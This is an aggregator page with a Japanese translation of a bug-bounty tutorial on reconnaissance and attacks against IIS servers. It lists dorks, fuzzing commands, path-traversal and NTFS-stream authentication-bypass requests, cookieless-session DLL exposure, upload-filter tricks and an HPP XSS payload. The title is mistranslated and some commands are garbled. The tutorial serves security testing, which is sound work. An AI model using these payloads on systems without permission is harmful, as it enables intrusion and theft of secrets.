
2026/06/17 7:53
IIS サーバーへの屈辱的な攻撃による懲役判決
RSS: https://news.ycombinator.com/rss
要約▶
日本語訳:
主要なメッセージは、IIS ブルー画面(スプラッシュページ)がシステムクラッシュを示すのではなく、むしろexploitable な脆弱性を備えた構成不整のサーバーを示しているという点です。それを行き止まりとして扱う代わりに、セキュリティチームは Nuclei ツール(例:
microsoft,windows,iis などの特定のタグ)、Shodan クエリ(ssl:"target.com" http.title:"IIS")、「site:target.com intitle:"IIS Windows Server"」といった Google dorking などを用いて、即座に偵察を行うべきです。効果的な検知には、ヘッダー X-FEServer などを介して内部 IP アドレスを明らかにする HTTP/1.0 リクエストを送信することが含まれます。HTTP API 2.0 からの汎用 404 エラーは仮想ホストの不一致を示唆し、SSL サードチェックまたは「ffuf」を用いた Host ヘッダーのブルートフォースによって解決する必要があります。
さらに、IIS のレガシーな振る舞いは攻撃者が DOS 8.3 フォーマットで短名を列挙することを可能にし、これにより公開データセット(BigQuery など)を通じて潜在的に開示され、リストリングが無効化されている場合でも非表示のファイルを開示する可能性があります。これらの手法は
web.config といった重要な設定ファイルへのパストラバーサル脆弱性を招き、リモートコード実行に必要な機械キーを含むファイルをアクセス可能にします。リスクは NTFS 代替データストリームや /bin ディレクトリにおける DLL の露出を通じて IIS 7.5 以降の認証バイパスにも及び、特にクッキーレスセッションが有効な場合に顕著です。企業は .cer 拡張子、末尾ドット、または HTTP パラメータ汚染(HPP)などを含むアップロードフィルタバイパスキューへの対処を緊急に実施し、未承認のアクセスを防ぎ、リバースプロキシの脆弱性を悪用する進化する自動化攻撃に対してインフラを保護する必要があります。本文
2026 年 3 月 18 日|IIS サーバーに対する脆弱性探索・攻撃手法まとめ
ある友人がこう語りました。
「もし IIS のブルースクリーンに出会ったらそこで諦めないことだ。何か必ずありますから。」
その通りです。IIS の「行き止まり(404)」は単なるエラーではありません。そこには設定ミスが多そうな Web サーバーが控えており、さらに深く調べるよう訴えているのです。
この記事では、バグボーントーney(脆弱性賞金プログラム)において IIS を有効に攻撃する方法を解説します。
1. IIS サーバーの位置特定
まず、ターゲットになる IIS サーバーを発見するテクニックを整理します。
Shodan(および代替プラットフォーム)
ターゲットに接触する前に、既存の情報の開示を確認しましょう。
- 検索クエリ例:
これらはターゲット組織や SSL 証明書に関連する IIS サーバーを検出します。ステージングサーバー、忘れ去られた管理パネル、公開されていない内部ツールが見つかることもあります。ssl:"target.com" http.title:"IIS" ssl.cert.subject.CN:"target.com" http.title:"IIS" org:"target" http.title:"IIS"- 代替プラットフォーム:
,fofa
,censys
,netlas
など(インターネットのスライスを異なる角度からインデックス化)。odin
- 代替プラットフォーム:
Google Dorking
スキャン開始前に、IIS サーバーを検出するために Google 検索演算子を使用します。
-
主要な検索クエリ:
site:target.com intitle:"IIS Windows Server"site:target.com inurl:aspnet_clientsite:target.com ext:aspx | ext:ashx | ext:asmxsite:target.com intext:"Microsoft-IIS" | intext:"X-Powered-By: ASP.NET"site:target.com inurl:_vti_binsite:target.com intitle:"Microsoft Internet Information Services"
-
重要なポイント:
フォルダとaspnet_client
は IIS の決定的な証拠です。_vti_bin
は ASP.NET ページを検出するため、背後には必ず IIS が存在します。ext:aspx- ネストされたサブドメインを検出するにはワイルドカードを使用:
site:*.target.com intitle:"IIS"
(開発環境やステージングサーバー発見に有効)site:*.*.target.com intitle:"IIS"
能動的な技術指紋化(フィンガープリンティング)
レスポンスヘッダーを確認して IIS を確認します。
- 手動検証:
nc -v target.com 80 # TLS 接続の場合 openssl s_client -connect target.com:443 - 確認すべきヘッダー:
Server: Microsoft-IIS/10.0X-Powered-By: ASP.NET
- 大規模スキャンツール:
またはhttpx
を使用して効率的にリストアップ:nucleihttpx -l targets.txt -td | grep IIS | tee iis-targets.txt
2. 情報収集(Reconnaissance)
サーバーを確認した後、無料で入手できる情報を最大限に収集します。
内部 IP の漏洩
特定の IIS セットアップ(Exchange や OWA フロントエンドなど)に対して HTTP/1.0 リクエストを送信すると、
Location ヘッダーに内部 IP が返されることがあります。
- コマンド例:
curl -v --http1.0 http://example.com - レスポンス例:
HTTP/1.1 302 Moved Temporarily Location: https://192.168.5.237/owa/ Server: Microsoft-IIS/10.0 X-FEServer: NHEXCHANGE2016- 内部 IP (
) と192.168.5.237
ヘッダーから Exchange サーバーの内部ホスト名を取得できます。X-FEServer
- 内部 IP (
3. 攻め時(Exploitation / Power-up)
リコナ情報収集が完了したら、実際に攻撃に移ります。
Nuclei テンプレートによる自動化
IIS ターゲットリストに対して、
nuclei を使用して既知の脆弱性を自動検出します。
nuclei -l iis-targets.txt \ -tags microsoft,windows,asp,aspx,iis,azure,config,exposure -silent
- 背景プロセスとして実行しつつ、手動でリコナを行うのが推奨されます。
HTTPAPI 2.0 の「行き止まり」を利用する
多くの IIS サーバーが
404 を返しますが、これは「存在しない」という意味ではなく、仮想ホスト(Virtual Host)のバインド失敗である可能性が高いです。
- 解決策 1: SSL 証明書を確認
- サブジェクトまたは SAN フィールドに必要なホスト名が含まれているか確認。ブラウザで接続して証明書を検証。
- 解決策 2: 仮想ホストのブルートフォース攻撃
を使用して Host ヘッダーをファジング:ffufffuf -u https://TARGET_IP/ -H "Host: FUZZ.target.com" -w vhosts.txt -fs 0- 正しいホスト名を見つけると、サーバーが正常に動作するアプリケーションを提供し始めます。
IIS 風のチルダ列挙(Tilde Enumeration):終わらない贈り物
IIS はレガシーな DOS 8.3 ファイル命名規則を備えており、フルネームが不明なファイルを略称(ショートネーム)で列挙できます。
- 主要ツール:
shortscanshortscan https://target.com/ -F -p 1
: ディレクトリファジング。-F
: パラメータ数を指定(忍耐)。-p 1
- Burp Suite スキャナー:
を使用すると、以下のフラグメントを取得:IIS Tilde Enumeration Scanner
,WEB~1.CON
,GLOBAL~1.ASA
,SITEBA~1.ZIPADMIN~1
略称を解決する高度な手法:
- LLM を使用して推測
Return only a list of words, separated by newlines, and nothing else. Ensure that the words contain only alphanumeric characters. Make a list of guesses, for what the rest of the word could be from this snippet. Snippet: {shortname} - GitHub ドークを用いて略称を解決
- GitHub コード検索は無料の巨大ファイル名データベースです。ショートネームフラグメントでパターンマッチング。
- GSNW (GitHub Short Name Wordlist):
python gsnw.py "siteba" output.txt - GitHub-IIS-Shortname-Generator:
python scanner.py WEBDEV
- BigQuery を用いて略称を解決
- Google BigQuery の公開データセット
を照会:github_repos.filesSELECT DISTINCT path FROM `bigquery-public-data.github_repos.files` WHERE REGEXP_CONTAINS(path, r'(?i)(\/siteba[a-z0-9]+\.zip|^siteba[a-z0-9]+\.zip)') LIMIT 1000 - 実際のファイル名(例:
)を取得して辞書リストを構築。sitebackup.zip
- Google BigQuery の公開データセット
- Crunch でブルートフォース攻撃
- LLM や GitHub でも見つからない場合、単純な辞書生成を使用:
crunch 4 6 abcdefghijklmnopqrstuvwxyz -o wordlist.txt
- LLM や GitHub でも見つからない場合、単純な辞書生成を使用:
ファジング:IIS 固有の辞書リスト
一般的な辞書では IIS には不向きです。以下のパスをファジングする必要があります。
- 高価値ターゲット:
,/web.config
,/web.config.bak
,/trace.axd/elmah.axd
,/global.asax/connectionstrings.config
,/appsettings.json
,/secrets.json/_vti_pvt/service.cnf
- IIS 固有拡張子:
,.asp
,.aspx
,.ashx
,.asmx
,.wsdl
,.config
,.xml
など.dll
ffuf -u https://target.com/FUZZ -w iis-wordlist.txt \ -e .asp,.aspx,.ashx,.asmx,.config,.json -.bak, -.txt \ -mc 200,301,302,403 -fs 0
推奨される IIS 専用辞書リスト:
- SecLists IIS.txt (デフォルトパス・ハンドラー含む)
- Orwa の iis.txt / aspx.txt (実戦-tested、高品質)
- wfuzz iis.txt, dirbuster-ng iis.txt
- Assetnote wordlists (ASP/ASPX 専用)
- OneListForAll
💡 プロのヒント: IIS は大文字小文字不感症です。辞書リストが大文字混合の場合、重複チェックを行ってリクエストを無駄にしないよう、
を使用して正規化することをお勧めします。tr '[:upper:]' '[:lower:]'
Web.config:王国への鍵
web.config が暴露されれば、**マシーンキー(Machine Keys)**を取得できる可能性があります。これを用いると、悪意のあるシリアライズされた ViewState ペイロードを作成し、**リモートコード実行(RCE)**を達成できます。
パス透過によるアクセス
GET /download?id=../../web.configGET /download?id=..%2f..%2fweb.config
クッキーレスセッションによる bin ディレクトリ DLL 露出
(S(X)) という構文を用いて、IIS のパス正規化を混乱させ、bin フォルダに直接アクセスできます。
- 攻撃例:
GET /(S(X))/b/(S(X))in/Newtonsoft.Json.dll- 実際には
に到達します。/bin/Newtonsoft.Json.dll - アプリ固有の DLL(例:
)をリストしてダウンロードし、JetBrains dotPeekなどでデコンパイルすることで、認証情報や API キーが抽出できます。WebApplication1.dll
- 実際には
リバースプロキシによるパスの混乱
IIS がリバースプロキシの背後にある場合、以下のトリックでアクセス制御を回避できます。
- 攻撃例:
が 403 の場合/admin//anything/..%2fadmin/- プロキシが転送する際、IIS は
をデコードして実際のパスを解決するためです。%2f
- プロキシが転送する際、IIS は
NTFS ハックによる認証バイパス
IIS 7.5 などでは、NTFS メタデータストリームを利用したバイパスが可能です。
/admin::$INDEX_ALLOCATION/admin.php/admin:$i30:$INDEX_ALLOCATION/admin.php
ファイルアップロードに関するトリック
開発者が
.aspx をブロックしていても、IIS は以下の拡張子を HTML として扱う傾向があります(ストアード XSS)。
- HTML レンダリング:
,.cer
,.hxt.htm - XML ベース/XSS:
,.dtd
,.xml
,.xsl
,.svg
など.wsdl - 末尾のドットトリック:
、shell.aspx.shell.aspx..- IIS は末尾のドットを剥離して処理するため、アップロードフィルタを回避できます。
- サーバーサイドインクルード(SSI):
,.stm
,.shtm.shtml
WAF によるバイパス:HPP
HTTP パラメータ汚染(HPP)を利用し、WAF でブロックされたペイロードを迂回します。
https://target.com/page?param=<svg/¶m=onload=alert(1)>
- IIS/ASP.NET は重複パラメータを結合するため、WAF を欺けます。
結論
IIS サーバーに対する攻撃面は広く、かつ一貫してテストされていません。多くの場合、内部 IP 漏洩、設定ファイル公開、略称列挙の脆弱性などで、最新の JS フレームワークとは異なるアプローチが必要とされます。
ブルースクリーンを無視せず、より深いリコナを続けてください。
参考文献
- NahamCon2021 - Hacking IIS
- THE POWER OF RECON by Orwa Atyat
- IIS Internet Information Services (公式ドキュメント)
- Assetnote の BigQuery を用いた IIS ショートネーム解決調査